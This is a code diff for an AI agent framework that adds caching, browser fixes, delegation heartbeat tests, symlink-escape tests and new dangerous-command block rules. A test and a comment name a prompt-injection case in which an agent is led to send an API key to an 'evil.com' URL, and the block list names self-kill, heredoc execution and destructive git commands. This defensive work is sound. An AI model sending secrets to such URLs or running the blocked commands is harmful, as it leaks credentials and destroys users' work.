+            if "node_modules" in str(self) and "agent-browser" in str(self):
+                return False
+            return original_exists(self)
+
+        with patch("shutil.which", return_value=None), \
+             patch("os.path.isdir", return_value=False), \
+             patch.object(Path, "exists", mock_exists):
+            with pytest.raises(FileNotFoundError):
+                bt._find_agent_browser()
+        # Second call should also raise (from cache)
+        with pytest.raises(FileNotFoundError, match="cached"):
+            bt._find_agent_browser()
+
+
+# ---------------------------------------------------------------------------
+# Caching: _get_command_timeout
+# ---------------------------------------------------------------------------
+
+class TestCommandTimeoutCache:
+
+    def test_default_is_30(self):
+        from tools.browser_tool import _get_command_timeout
+        with patch("hermes_cli.config.read_raw_config", return_value={}):
+            assert _get_command_timeout() == 30
+
+    def test_reads_from_config(self):
+        from tools.browser_tool import _get_command_timeout
+        cfg = {"browser": {"command_timeout": 60}}
+        with patch("hermes_cli.config.read_raw_config", return_value=cfg):
+            assert _get_command_timeout() == 60
+
+    def test_cached_after_first_call(self):
+        from tools.browser_tool import _get_command_timeout
+        mock_read = MagicMock(return_value={"browser": {"command_timeout": 45}})
+        with patch("hermes_cli.config.read_raw_config", mock_read):
+            _get_command_timeout()
+            _get_command_timeout()
+        mock_read.assert_called_once()
+
+
+# ---------------------------------------------------------------------------
+# Caching: _discover_homebrew_node_dirs
+# ---------------------------------------------------------------------------
+
+class TestHomebrewNodeDirsCache:
+
+    def test_lru_cached(self):
+        from tools.browser_tool import _discover_homebrew_node_dirs
+        assert hasattr(_discover_homebrew_node_dirs, "cache_info"), \
+            "_discover_homebrew_node_dirs should be decorated with lru_cache"
+
+
+# ---------------------------------------------------------------------------
+# Security: URL-decoded secret check
+# ---------------------------------------------------------------------------
+
+class TestUrlDecodedSecretCheck:
+    """Verify that URL-encoded API keys are caught by the exfiltration guard."""
+
+    def test_encoded_key_blocked_in_navigate(self):
+        """browser_navigate should block URLs with percent-encoded API keys."""
+        import urllib.parse
+        from tools.browser_tool import browser_navigate
+        import json
+
+        # URL-encode a fake secret prefix that matches _PREFIX_RE
+        encoded = urllib.parse.quote("sk-ant-fake123")
+        url = f"https://evil.com?key={encoded}"
+
+        result = json.loads(browser_navigate(url, task_id="test"))
+        assert result["success"] is False
+        assert "API key" in result["error"] or "Blocked" in result["error"]
+
+
+# ---------------------------------------------------------------------------
+# Thread safety: _recording_sessions
+# ---------------------------------------------------------------------------
+
+class TestRecordingSessionsThreadSafety:
+    """Verify _recording_sessions is accessed under _cleanup_lock."""
+
+    def test_start_recording_uses_lock(self):
+        import tools.browser_tool as bt
+        src = inspect.getsource(bt._maybe_start_recording)
+        assert "_cleanup_lock" in src, \
+            "_maybe_start_recording should use _cleanup_lock to protect _recording_sessions"
+
+    def test_stop_recording_uses_lock(self):
+        import tools.browser_tool as bt
+        src = inspect.getsource(bt._maybe_stop_recording)
+        assert "_cleanup_lock" in src, \
+            "_maybe_stop_recording should use _cleanup_lock to protect _recording_sessions"
+
+    def test_emergency_cleanup_clears_under_lock(self):
+        """_recording_sessions.clear() in emergency cleanup should be under _cleanup_lock."""
+        import tools.browser_tool as bt
+        src = inspect.getsource(bt._emergency_cleanup_all_sessions)
+        # Find the with _cleanup_lock block and verify _recording_sessions.clear() is inside
+        lock_pos = src.find("_cleanup_lock")
+        clear_pos = src.find("_recording_sessions.clear()")
+        assert lock_pos != -1 and clear_pos != -1
+        assert lock_pos < clear_pos, \
+            "_recording_sessions.clear() should come after _cleanup_lock context manager"
+
+
+# ---------------------------------------------------------------------------
+# Structure-aware _truncate_snapshot
+# ---------------------------------------------------------------------------
+
+class TestTruncateSnapshot:
+
+    def test_short_snapshot_unchanged(self):
+        from tools.browser_tool import _truncate_snapshot
+        short = '- heading "Example" [ref=e1]\n- link "More" [ref=e2]'
+        assert _truncate_snapshot(short) == short
+
+    def test_long_snapshot_truncated_at_line_boundary(self):
+        from tools.browser_tool import _truncate_snapshot
+        # Create a snapshot that exceeds 8000 chars
+        lines = [f'- item "Element {i}" [ref=e{i}]' for i in range(500)]
+        snapshot = "\n".join(lines)
+        assert len(snapshot) > 8000
+
+        result = _truncate_snapshot(snapshot, max_chars=200)
+        assert len(result) <= 300  # some margin for the truncation note
+        assert "truncated" in result.lower()
+        # Every line in the result should be complete (not cut mid-element)
+        for line in result.split("\n"):
+            if line.strip() and "truncated" not in line.lower():
+                assert line.startswith("- item") or line == ""
+
+    def test_truncation_reports_remaining_count(self):
+        from tools.browser_tool import _truncate_snapshot
+        lines = [f"- line {i}" for i in range(100)]
+        snapshot = "\n".join(lines)
+        result = _truncate_snapshot(snapshot, max_chars=200)
+        # Should mention how many lines were truncated
+        assert "more line" in result.lower()
+
+
+# ---------------------------------------------------------------------------
+# Scroll optimization
+# ---------------------------------------------------------------------------
+
+class TestScrollOptimization:
+
+    def test_agent_browser_path_uses_pixel_scroll(self):
+        """Verify agent-browser path uses single pixel-based scroll, not 5x loop."""
+        import tools.browser_tool as bt
+        src = inspect.getsource(bt.browser_scroll)
+        assert "_SCROLL_PIXELS" in src, \
+            "browser_scroll should use _SCROLL_PIXELS for agent-browser path"
+
+
+# ---------------------------------------------------------------------------
+# Empty stdout = failure
+# ---------------------------------------------------------------------------
+
+class TestEmptyStdoutFailure:
+
+    def test_empty_stdout_returns_failure(self):
+        """Verify _run_browser_command returns failure on empty stdout."""
+        import tools.browser_tool as bt
+        src = inspect.getsource(bt._run_browser_command)
+        assert "returned no output" in src, \
+            "_run_browser_command should treat empty stdout as failure"
+
+    def test_empty_ok_commands_is_module_level_frozenset(self):
+        """_EMPTY_OK_COMMANDS should be a module-level frozenset, not defined inside a function."""
+        import tools.browser_tool as bt
+        assert hasattr(bt, "_EMPTY_OK_COMMANDS")
+        assert isinstance(bt._EMPTY_OK_COMMANDS, frozenset)
+        assert "close" in bt._EMPTY_OK_COMMANDS
+        assert "record" in bt._EMPTY_OK_COMMANDS
+
+
+# ---------------------------------------------------------------------------
+# _camofox_eval bug fix
+# ---------------------------------------------------------------------------
+
+class TestCamofoxEvalFix:
+
+    def test_uses_correct_ensure_tab_signature(self):
+        """_camofox_eval should pass task_id string to _ensure_tab, not a session dict."""
+        import tools.browser_tool as bt
+        src = inspect.getsource(bt._camofox_eval)
+        # Should NOT call _get_session at all — _ensure_tab handles it
+        assert "_get_session" not in src, \
+            "_camofox_eval should not call _get_session (removed unused import)"
+        # Should use body= not json_data=
+        assert "json_data=" not in src, \
+            "_camofox_eval should use body= kwarg for _post, not json_data="
+        assert "body=" in src

tests/tools/test_browser_homebrew_paths.py

@@ -15,6 +15,19 @@ from tools.browser_tool import (
     _SANE_PATH,
     check_browser_requirements,
 )
+import tools.browser_tool as _bt
+
+
+@pytest.fixture(autouse=True)
+def _clear_browser_caches():
+    """Clear lru_cache and manual caches between tests."""
+    _discover_homebrew_node_dirs.cache_clear()
+    _bt._cached_agent_browser = None
+    _bt._agent_browser_resolved = False
+    yield
+    _discover_homebrew_node_dirs.cache_clear()
+    _bt._cached_agent_browser = None
+    _bt._agent_browser_resolved = False
 
 
 class TestSanePath:
@@ -38,7 +51,7 @@ class TestDiscoverHomebrewNodeDirs:
     def test_returns_empty_when_no_homebrew(self):
         """Non-macOS systems without /opt/homebrew/opt should return empty."""
         with patch("os.path.isdir", return_value=False):
-            assert _discover_homebrew_node_dirs() == []
+            assert _discover_homebrew_node_dirs() == ()
 
     def test_finds_versioned_node_dirs(self):
         """Should discover node@20/bin, node@24/bin etc."""
@@ -68,13 +81,13 @@ class TestDiscoverHomebrewNodeDirs:
         with patch("os.path.isdir", return_value=True), \
              patch("os.listdir", return_value=["node"]):
             result = _discover_homebrew_node_dirs()
-        assert result == []
+        assert result == ()
 
     def test_handles_oserror_gracefully(self):
         """Should return empty list if listdir raises OSError."""
         with patch("os.path.isdir", return_value=True), \
              patch("os.listdir", side_effect=OSError("Permission denied")):
-            assert _discover_homebrew_node_dirs() == []
+            assert _discover_homebrew_node_dirs() == ()
 
 
 class TestFindAgentBrowser:

tests/tools/test_delegate.py

@@ -13,13 +13,14 @@ import json
 import os
 import sys
 import threading
+import time
 import unittest
 from unittest.mock import MagicMock, patch
 
 from tools.delegate_tool import (
     DELEGATE_BLOCKED_TOOLS,
     DELEGATE_TASK_SCHEMA,
-    MAX_CONCURRENT_CHILDREN,
+    _get_max_concurrent_children,
     MAX_DEPTH,
     check_delegate_requirements,
     delegate_task,
@@ -66,7 +67,7 @@ class TestDelegateRequirements(unittest.TestCase):
         self.assertIn("context", props)
         self.assertIn("toolsets", props)
         self.assertIn("max_iterations", props)
-        self.assertEqual(props["tasks"]["maxItems"], 3)
+        self.assertNotIn("maxItems", props["tasks"])  # removed — limit is now runtime-configurable
 
 
 class TestChildSystemPrompt(unittest.TestCase):
@@ -167,10 +168,13 @@ class TestDelegateTask(unittest.TestCase):
             "summary": "Done", "api_calls": 1, "duration_seconds": 1.0
         }
         parent = _make_mock_parent()
-        tasks = [{"goal": f"Task {i}"} for i in range(5)]
+        limit = _get_max_concurrent_children()
+        tasks = [{"goal": f"Task {i}"} for i in range(limit + 2)]
         result = json.loads(delegate_task(tasks=tasks, parent_agent=parent))
-        # Should only run 3 tasks (MAX_CONCURRENT_CHILDREN)
-        self.assertEqual(mock_run.call_count, 3)
+        # Should return an error instead of silently truncating
+        self.assertIn("error", result)
+        self.assertIn("Too many tasks", result["error"])
+        mock_run.assert_not_called()
 
     @patch("tools.delegate_tool._run_single_child")
     def test_batch_ignores_toplevel_goal(self, mock_run):
@@ -561,7 +565,7 @@ class TestBlockedTools(unittest.TestCase):
             self.assertIn(tool, DELEGATE_BLOCKED_TOOLS)
 
     def test_constants(self):
-        self.assertEqual(MAX_CONCURRENT_CHILDREN, 3)
+        self.assertEqual(_get_max_concurrent_children(), 3)
         self.assertEqual(MAX_DEPTH, 2)
 
 
@@ -1052,5 +1056,159 @@ class TestChildCredentialLeasing(unittest.TestCase):
         child._credential_pool.release_lease.assert_called_once_with("cred-a")
 
 
+class TestDelegateHeartbeat(unittest.TestCase):
+    """Heartbeat propagates child activity to parent during delegation.
+
+    Without the heartbeat, the gateway inactivity timeout fires because the
+    parent's _last_activity_ts freezes when delegate_task starts.
+    """
+
+    def test_heartbeat_touches_parent_activity_during_child_run(self):
+        """Parent's _touch_activity is called while child.run_conversation blocks."""
+        from tools.delegate_tool import _run_single_child
+
+        parent = _make_mock_parent()
+        touch_calls = []
+        parent._touch_activity = lambda desc: touch_calls.append(desc)
+
+        child = MagicMock()
+        child.get_activity_summary.return_value = {
+            "current_tool": "terminal",
+            "api_call_count": 3,
+            "max_iterations": 50,
+            "last_activity_desc": "executing tool: terminal",
+        }
+
+        # Make run_conversation block long enough for heartbeats to fire
+        def slow_run(**kwargs):
+            time.sleep(0.25)
+            return {"final_response": "done", "completed": True, "api_calls": 3}
+
+        child.run_conversation.side_effect = slow_run
+
+        # Patch the heartbeat interval to fire quickly
+        with patch("tools.delegate_tool._HEARTBEAT_INTERVAL", 0.05):
+            _run_single_child(
+                task_index=0,
+                goal="Test heartbeat",
+                child=child,
+                parent_agent=parent,
+            )
+
+        # Heartbeat should have fired at least once during the 0.25s sleep
+        self.assertGreater(len(touch_calls), 0,
+                           "Heartbeat did not propagate activity to parent")
+        # Verify the description includes child's current tool detail
+        self.assertTrue(
+            any("terminal" in desc for desc in touch_calls),
+            f"Heartbeat descriptions should include child tool info: {touch_calls}")
+
+    def test_heartbeat_stops_after_child_completes(self):
+        """Heartbeat thread is cleaned up when the child finishes."""
+        from tools.delegate_tool import _run_single_child
+
+        parent = _make_mock_parent()
+        touch_calls = []
+        parent._touch_activity = lambda desc: touch_calls.append(desc)
+
+        child = MagicMock()
+        child.get_activity_summary.return_value = {
+            "current_tool": None,
+            "api_call_count": 1,
+            "max_iterations": 50,
+            "last_activity_desc": "done",
+        }
+        child.run_conversation.return_value = {
+            "final_response": "done", "completed": True, "api_calls": 1,
+        }
+
+        with patch("tools.delegate_tool._HEARTBEAT_INTERVAL", 0.05):
+            _run_single_child(
+                task_index=0,
+                goal="Test cleanup",
+                child=child,
+                parent_agent=parent,
+            )
+
+        # Record count after completion, wait, and verify no more calls
+        count_after = len(touch_calls)
+        time.sleep(0.15)
+        self.assertEqual(len(touch_calls), count_after,
+                         "Heartbeat continued firing after child completed")
+
+    def test_heartbeat_stops_after_child_error(self):
+        """Heartbeat thread is cleaned up even when the child raises."""
+        from tools.delegate_tool import _run_single_child
+
+        parent = _make_mock_parent()
+        touch_calls = []
+        parent._touch_activity = lambda desc: touch_calls.append(desc)
+
+        child = MagicMock()
+        child.get_activity_summary.return_value = {
+            "current_tool": "web_search",
+            "api_call_count": 2,
+            "max_iterations": 50,
+            "last_activity_desc": "executing tool: web_search",
+        }
+
+        def slow_fail(**kwargs):
+            time.sleep(0.15)
+            raise RuntimeError("network timeout")
+
+        child.run_conversation.side_effect = slow_fail
+
+        with patch("tools.delegate_tool._HEARTBEAT_INTERVAL", 0.05):
+            result = _run_single_child(
+                task_index=0,
+                goal="Test error cleanup",
+                child=child,
+                parent_agent=parent,
+            )
+
+        self.assertEqual(result["status"], "error")
+
+        # Verify heartbeat stopped
+        count_after = len(touch_calls)
+        time.sleep(0.15)
+        self.assertEqual(len(touch_calls), count_after,
+                         "Heartbeat continued firing after child error")
+
+    def test_heartbeat_includes_child_activity_desc_when_no_tool(self):
+        """When child has no current_tool, heartbeat uses last_activity_desc."""
+        from tools.delegate_tool import _run_single_child
+
+        parent = _make_mock_parent()
+        touch_calls = []
+        parent._touch_activity = lambda desc: touch_calls.append(desc)
+
+        child = MagicMock()
+        child.get_activity_summary.return_value = {
+            "current_tool": None,
+            "api_call_count": 5,
+            "max_iterations": 90,
+            "last_activity_desc": "API call #5 completed",
+        }
+
+        def slow_run(**kwargs):
+            time.sleep(0.15)
+            return {"final_response": "done", "completed": True, "api_calls": 5}
+
+        child.run_conversation.side_effect = slow_run
+
+        with patch("tools.delegate_tool._HEARTBEAT_INTERVAL", 0.05):
+            _run_single_child(
+                task_index=0,
+                goal="Test desc fallback",
+                child=child,
+                parent_agent=parent,
+            )
+
+        self.assertGreater(len(touch_calls), 0)
+        self.assertTrue(
+            any("API call #5 completed" in desc for desc in touch_calls),
+            f"Heartbeat should include last_activity_desc: {touch_calls}")
+
+
 if __name__ == "__main__":
     unittest.main()

tests/tools/test_skill_manager_tool.py

@@ -5,6 +5,8 @@ from contextlib import contextmanager
 from pathlib import Path
 from unittest.mock import patch
 
+import pytest
+
 from tools.skill_manager_tool import (
     _validate_name,
     _validate_category,
@@ -330,6 +332,25 @@ word word
             result = _patch_skill("nonexistent", "old", "new")
         assert result["success"] is False
 
+    def test_patch_supporting_file_symlink_escape_blocked(self, tmp_path):
+        outside_file = tmp_path / "outside.txt"
+        outside_file.write_text("old text here")
+
+        with _skill_dir(tmp_path):
+            _create_skill("my-skill", VALID_SKILL_CONTENT)
+            link = tmp_path / "my-skill" / "references" / "evil.md"
+            link.parent.mkdir(parents=True, exist_ok=True)
+            try:
+                link.symlink_to(outside_file)
+            except OSError:
+                pytest.skip("Symlinks not supported")
+
+            result = _patch_skill("my-skill", "old text", "new text", file_path="references/evil.md")
+
+        assert result["success"] is False
+        assert "boundary" in result["error"].lower()
+        assert outside_file.read_text() == "old text here"
+
 
 class TestDeleteSkill:
     def test_delete_existing(self, tmp_path):
@@ -375,6 +396,25 @@ class TestWriteFile:
             result = _write_file("my-skill", "secret/evil.py", "malicious")
         assert result["success"] is False
 
+    def test_write_symlink_escape_blocked(self, tmp_path):
+        outside_dir = tmp_path / "outside"
+        outside_dir.mkdir()
+
+        with _skill_dir(tmp_path):
+            _create_skill("my-skill", VALID_SKILL_CONTENT)
+            link = tmp_path / "my-skill" / "references" / "escape"
+            link.parent.mkdir(parents=True, exist_ok=True)
+            try:
+                link.symlink_to(outside_dir, target_is_directory=True)
+            except OSError:
+                pytest.skip("Symlinks not supported")
+
+            result = _write_file("my-skill", "references/escape/owned.md", "malicious")
+
+        assert result["success"] is False
+        assert "boundary" in result["error"].lower()
+        assert not (outside_dir / "owned.md").exists()
+
 
 class TestRemoveFile:
     def test_remove_existing_file(self, tmp_path):
@@ -391,6 +431,27 @@ class TestRemoveFile:
             result = _remove_file("my-skill", "references/nope.md")
         assert result["success"] is False
 
+    def test_remove_symlink_escape_blocked(self, tmp_path):
+        outside_dir = tmp_path / "outside"
+        outside_dir.mkdir()
+        outside_file = outside_dir / "keep.txt"
+        outside_file.write_text("content")
+
+        with _skill_dir(tmp_path):
+            _create_skill("my-skill", VALID_SKILL_CONTENT)
+            link = tmp_path / "my-skill" / "references" / "escape"
+            link.parent.mkdir(parents=True, exist_ok=True)
+            try:
+                link.symlink_to(outside_dir, target_is_directory=True)
+            except OSError:
+                pytest.skip("Symlinks not supported")
+
+            result = _remove_file("my-skill", "references/escape/keep.txt")
+
+        assert result["success"] is False
+        assert "boundary" in result["error"].lower()
+        assert outside_file.exists()
+
 
 # ---------------------------------------------------------------------------
 # skill_manage dispatcher

tools/approval.py

@@ -99,10 +99,30 @@ DANGEROUS_PATTERNS = [
     (r'\bnohup\b.*gateway\s+run\b', "start gateway outside systemd (use 'systemctl --user restart hermes-gateway')"),
     # Self-termination protection: prevent agent from killing its own process
     (r'\b(pkill|killall)\b.*\b(hermes|gateway|cli\.py)\b', "kill hermes/gateway process (self-termination)"),
+    # Self-termination via kill + command substitution (pgrep/pidof).
+    # The name-based pattern above catches `pkill hermes` but not
+    # `kill -9 $(pgrep -f hermes)` because the substitution is opaque
+    # to regex at detection time. Catch the structural pattern instead.
+    (r'\bkill\b.*\$\(\s*pgrep\b', "kill process via pgrep expansion (self-termination)"),
+    (r'\bkill\b.*`\s*pgrep\b', "kill process via backtick pgrep expansion (self-termination)"),
     # File copy/move/edit into sensitive system paths
     (r'\b(cp|mv|install)\b.*\s/etc/', "copy/move file into /etc/"),
     (r'\bsed\s+-[^\s]*i.*\s/etc/', "in-place edit of system config"),
     (r'\bsed\s+--in-place\b.*\s/etc/', "in-place edit of system config (long flag)"),
+    # Script execution via heredoc — bypasses the -e/-c flag patterns above.
+    # `python3 << 'EOF'` feeds arbitrary code via stdin without -c/-e flags.
+    (r'\b(python[23]?|perl|ruby|node)\s+<<', "script execution via heredoc"),
+    # Git destructive operations that can lose uncommitted work or rewrite
+    # shared history. Not captured by rm/chmod/etc patterns.
+    (r'\bgit\s+reset\s+--hard\b', "git reset --hard (destroys uncommitted changes)"),
+    (r'\bgit\s+push\b.*--force\b', "git force push (rewrites remote history)"),
+    (r'\bgit\s+push\b.*-f\b', "git force push short flag (rewrites remote history)"),
+    (r'\bgit\s+clean\s+-[^\s]*f', "git clean with force (deletes untracked files)"),
+    (r'\bgit\s+branch\s+-D\b', "git branch force delete"),
+    # Script execution after chmod +x — catches the two-step pattern where
+    # a script is first made executable then immediately run. The script
+    # content may contain dangerous commands that individual patterns miss.
+    (r'\bchmod\s+\+x\b.*[;&|]+\s*\./', "chmod +x followed by immediate execution"),
 ]
 
 

tools/browser_tool.py

@@ -50,6 +50,7 @@ Usage:
 """
 
 import atexit
+import functools
 import json
 import logging
 import os
@@ -100,27 +101,27 @@ _SANE_PATH = (
 )
 
 
-def _discover_homebrew_node_dirs() -> list[str]:
+@functools.lru_cache(maxsize=1)
+def _discover_homebrew_node_dirs() -> tuple[str, ...]:
     """Find Homebrew versioned Node.js bin directories (e.g. node@20, node@24).
 
     When Node is installed via ``brew install node@24`` and NOT linked into
-    /opt/homebrew/bin, the binary lives only in /opt/homebrew/opt/node@24/bin/.
-    This function discovers those paths so they can be added to subprocess PATH.
+    /opt/homebrew/bin, agent-browser isn't discoverable on the default PATH.
+    This function finds those directories so they can be prepended.
     """
     dirs: list[str] = []
     homebrew_opt = "/opt/homebrew/opt"
     if not os.path.isdir(homebrew_opt):
-        return dirs
+        return tuple(dirs)
     try:
         for entry in os.listdir(homebrew_opt):
             if entry.startswith("node") and entry != "node":
-                # e.g. node@20, node@24
                 bin_dir = os.path.join(homebrew_opt, entry, "bin")
                 if os.path.isdir(bin_dir):
                     dirs.append(bin_dir)
     except OSError:
         pass
-    return dirs
+    return tuple(dirs)
 
 # Throttle screenshot cleanup to avoid repeated full directory scans.
 _last_screenshot_cleanup_by_dir: dict[str, float] = {}
@@ -132,28 +133,39 @@ _last_screenshot_cleanup_by_dir: dict[str, float] = {}
 # Default timeout for browser commands (seconds)
 DEFAULT_COMMAND_TIMEOUT = 30
 
-# Default session timeout (seconds)
-DEFAULT_SESSION_TIMEOUT = 300
-
 # Max tokens for snapshot content before summarization
 SNAPSHOT_SUMMARIZE_THRESHOLD = 8000
 
+# Commands that legitimately return empty stdout (e.g. close, record).
+_EMPTY_OK_COMMANDS: frozenset = frozenset({"close", "record"})
+
+_cached_command_timeout: Optional[int] = None
+_command_timeout_resolved = False
+
 
 def _get_command_timeout() -> int:
     """Return the configured browser command timeout from config.yaml.
 
     Reads ``config["browser"]["command_timeout"]`` and falls back to
-    ``DEFAULT_COMMAND_TIMEOUT`` (30s) if unset or unreadable.
+    ``DEFAULT_COMMAND_TIMEOUT`` (30s) if unset or unreadable.  Result is
+    cached after the first call and cleared by ``cleanup_all_browsers()``.
     """
+    global _cached_command_timeout, _command_timeout_resolved
+    if _command_timeout_resolved:
+        return _cached_command_timeout  # type: ignore[return-value]
+
+    _command_timeout_resolved = True
+    result = DEFAULT_COMMAND_TIMEOUT
     try:
         from hermes_cli.config import read_raw_config
         cfg = read_raw_config()
         val = cfg.get("browser", {}).get("command_timeout")
         if val is not None:
-            return max(int(val), 5)  # Floor at 5s to avoid instant kills
+            result = max(int(val), 5)  # Floor at 5s to avoid instant kills
     except Exception as e:
         logger.debug("Could not read command_timeout from config: %s", e)
-    return DEFAULT_COMMAND_TIMEOUT
+    _cached_command_timeout = result
+    return result
 
 
 def _get_vision_model() -> Optional[str]:
@@ -239,6 +251,8 @@ _cached_cloud_provider: Optional[CloudBrowserProvider] = None
 _cloud_provider_resolved = False
 _allow_private_urls_resolved = False
 _cached_allow_private_urls: Optional[bool] = None
+_cached_agent_browser: Optional[str] = None
+_agent_browser_resolved = False
 
 
 def _get_cloud_provider() -> Optional[CloudBrowserProvider]:
@@ -415,7 +429,7 @@ def _emergency_cleanup_all_sessions():
         with _cleanup_lock:
             _active_sessions.clear()
             _session_last_activity.clear()
-        _recording_sessions.clear()
+            _recording_sessions.clear()
 
 
 # Register cleanup via atexit only.  Previous versions installed SIGINT/SIGTERM
@@ -617,15 +631,6 @@ BROWSER_TOOL_SCHEMAS = [
             "required": ["key"]
         }
     },
-    {
-        "name": "browser_close",
-        "description": "Close the browser session and release resources. Call this when done with browser tasks to free up cloud browser session quota.",
-        "parameters": {
-            "type": "object",
-            "properties": {},
-            "required": []
-        }
-    },
     {
         "name": "browser_get_images",
         "description": "Get a list of all images on the current page with their URLs and alt text. Useful for finding images to analyze with the vision tool. Requires browser_navigate to be called first.",
@@ -777,10 +782,26 @@ def _find_agent_browser() -> str:
     Raises:
         FileNotFoundError: If agent-browser is not installed
     """
+    global _cached_agent_browser, _agent_browser_resolved
+    if _agent_browser_resolved:
+        if _cached_agent_browser is None:
+            raise FileNotFoundError(
+                "agent-browser CLI not found (cached). Install it with: "
+                f"{_browser_install_hint()}\n"
+                "Or run 'npm install' in the repo root to install locally.\n"
+                "Or ensure npx is available in your PATH."
+            )
+        return _cached_agent_browser
+
+    # Note: _agent_browser_resolved is set at each return site below
+    # (not before the search) to prevent a race where a concurrent thread
+    # sees resolved=True but _cached_agent_browser is still None.
 
     # Check if it's in PATH (global install)
     which_result = shutil.which("agent-browser")
     if which_result:
+        _cached_agent_browser = which_result
+        _agent_browser_resolved = True
         return which_result
 
     # Build an extended search PATH including Homebrew and Hermes-managed dirs.
@@ -800,21 +821,29 @@ def _find_agent_browser() -> str:
         extended_path = os.pathsep.join(extra_dirs)
         which_result = shutil.which("agent-browser", path=extended_path)
         if which_result:
+            _cached_agent_browser = which_result
+            _agent_browser_resolved = True
             return which_result
 
     # Check local node_modules/.bin/ (npm install in repo root)
     repo_root = Path(__file__).parent.parent
     local_bin = repo_root / "node_modules" / ".bin" / "agent-browser"
     if local_bin.exists():
-        return str(local_bin)
+        _cached_agent_browser = str(local_bin)
+        _agent_browser_resolved = True
+        return _cached_agent_browser
     
     # Check common npx locations (also search extended dirs)
     npx_path = shutil.which("npx")
     if not npx_path and extra_dirs:
         npx_path = shutil.which("npx", path=os.pathsep.join(extra_dirs))
     if npx_path:
-        return "npx agent-browser"
+        _cached_agent_browser = "npx agent-browser"
+        _agent_browser_resolved = True
+        return _cached_agent_browser
     
+    # Nothing found — cache the failure so subsequent calls don't re-scan.
+    _agent_browser_resolved = True
     raise FileNotFoundError(
         "agent-browser CLI not found. Install it with: "
         f"{_browser_install_hint()}\n"
@@ -935,7 +964,7 @@ def _run_browser_command(
         path_parts = [p for p in existing_path.split(":") if p]
         candidate_dirs = (
             [hermes_node_bin]
-            + _discover_homebrew_node_dirs()
+            + list(_discover_homebrew_node_dirs())
             + [p for p in _SANE_PATH.split(":") if p]
         )
 
@@ -994,15 +1023,15 @@ def _run_browser_command(
             level = logging.WARNING if returncode != 0 else logging.DEBUG
             logger.log(level, "browser '%s' stderr: %s", command, stderr.strip()[:500])
         
-        # Log empty output as warning — common sign of broken agent-browser
-        if not stdout.strip() and returncode == 0:
-            logger.warning("browser '%s' returned empty stdout with rc=0. "
-                           "cmd=%s stderr=%s",
-                           command, " ".join(cmd_parts[:4]) + "...",
-                           (stderr or "")[:200])
-
         stdout_text = stdout.strip()
 
+        # Empty output with rc=0 is a broken state — treat as failure rather
+        # than silently returning {"success": True, "data": {}}.
+        # Some commands (close, record) legitimately return no output.
+        if not stdout_text and returncode == 0 and command not in _EMPTY_OK_COMMANDS:
+            logger.warning("browser '%s' returned empty output (rc=0)", command)
+            return {"success": False, "error": f"Browser command '{command}' returned no output"}
+
         if stdout_text:
             try:
                 parsed = json.loads(stdout_text)
@@ -1114,20 +1143,34 @@ def _extract_relevant_content(
 
 
 def _truncate_snapshot(snapshot_text: str, max_chars: int = 8000) -> str:
-    """
-    Simple truncation fallback for snapshots.
-    
+    """Structure-aware truncation for snapshots.
+
+    Cuts at line boundaries so that accessibility tree elements are never
+    split mid-line, and appends a note telling the agent how much was
+    omitted.
+
     Args:
         snapshot_text: The snapshot text to truncate
         max_chars: Maximum characters to keep
-        
+
     Returns:
         Truncated text with indicator if truncated
     """
     if len(snapshot_text) <= max_chars:
         return snapshot_text
-    
-    return snapshot_text[:max_chars] + "\n\n[... content truncated ...]"
+
+    lines = snapshot_text.split('\n')
+    result: list[str] = []
+    chars = 0
+    for line in lines:
+        if chars + len(line) + 1 > max_chars - 80:  # reserve space for note
+            break
+        result.append(line)
+        chars += len(line) + 1
+    remaining = len(lines) - len(result)
+    if remaining > 0:
+        result.append(f'\n[... {remaining} more lines truncated, use browser_snapshot for full content]')
+    return '\n'.join(result)
 
 
 # ============================================================================
@@ -1148,8 +1191,11 @@ def browser_navigate(url: str, task_id: Optional[str] = None) -> str:
     # Secret exfiltration protection — block URLs that embed API keys or
     # tokens in query parameters. A prompt injection could trick the agent
     # into navigating to https://evil.com/steal?key=sk-ant-... to exfil secrets.
+    # Also check URL-decoded form to catch %2D encoding tricks (e.g. sk%2Dant%2D...).
+    import urllib.parse
     from agent.redact import _PREFIX_RE
-    if _PREFIX_RE.search(url):
+    url_decoded = urllib.parse.unquote(url)
+    if _PREFIX_RE.search(url) or _PREFIX_RE.search(url_decoded):
         return json.dumps({
             "success": False,
             "error": "Blocked: URL contains what appears to be an API key or token. "
@@ -1415,13 +1461,15 @@ def browser_scroll(direction: str, task_id: Optional[str] = None) -> str:
             "error": f"Invalid direction '{direction}'. Use 'up' or 'down'."
         }, ensure_ascii=False)
 
-    # Repeat the scroll 5 times to get meaningful page movement.
-    # Most backends scroll ~100px per call, which is barely visible.
-    # 5x gives roughly half a viewport of travel, backend-agnostic.
-    _SCROLL_REPEATS = 5
+    # Single scroll with pixel amount instead of 5x subprocess calls.
+    # agent-browser supports: agent-browser scroll down 500
+    # ~500px is roughly half a viewport of travel.
+    _SCROLL_PIXELS = 500
 
     if _is_camofox_mode():
         from tools.browser_camofox import camofox_scroll
+        # Camofox REST API doesn't support pixel args; use repeated calls
+        _SCROLL_REPEATS = 5
         result = None
         for _ in range(_SCROLL_REPEATS):
             result = camofox_scroll(direction, task_id)
@@ -1429,14 +1477,12 @@ def browser_scroll(direction: str, task_id: Optional[str] = None) -> str:
 
     effective_task_id = task_id or "default"
 
-    result = None
-    for _ in range(_SCROLL_REPEATS):
-        result = _run_browser_command(effective_task_id, "scroll", [direction])
-        if not result.get("success"):
-            return json.dumps({
-                "success": False,
-                "error": result.get("error", f"Failed to scroll {direction}")
-            }, ensure_ascii=False)
+    result = _run_browser_command(effective_task_id, "scroll", [direction, str(_SCROLL_PIXELS)])
+    if not result.get("success"):
+        return json.dumps({
+            "success": False,
+            "error": result.get("error", f"Failed to scroll {direction}")
+        }, ensure_ascii=False)
 
     return json.dumps({
         "success": True,
@@ -1607,11 +1653,11 @@ def _browser_eval(expression: str, task_id: Optional[str] = None) -> str:
 
 def _camofox_eval(expression: str, task_id: Optional[str] = None) -> str:
     """Evaluate JS via Camofox's /tabs/{tab_id}/eval endpoint (if available)."""
-    from tools.browser_camofox import _get_session, _ensure_tab, _post
+    from tools.browser_camofox import _ensure_tab, _post
     try:
-        session = _get_session(task_id or "default")
-        tab_id = _ensure_tab(session)
-        resp = _post(f"/tabs/{tab_id}/eval", json_data={"expression": expression})
+        tab_info = _ensure_tab(task_id or "default")
+        tab_id = tab_info.get("tab_id") or tab_info.get("id")
+        resp = _post(f"/tabs/{tab_id}/eval", body={"expression": expression})
 
         # Camofox returns the result in a JSON envelope
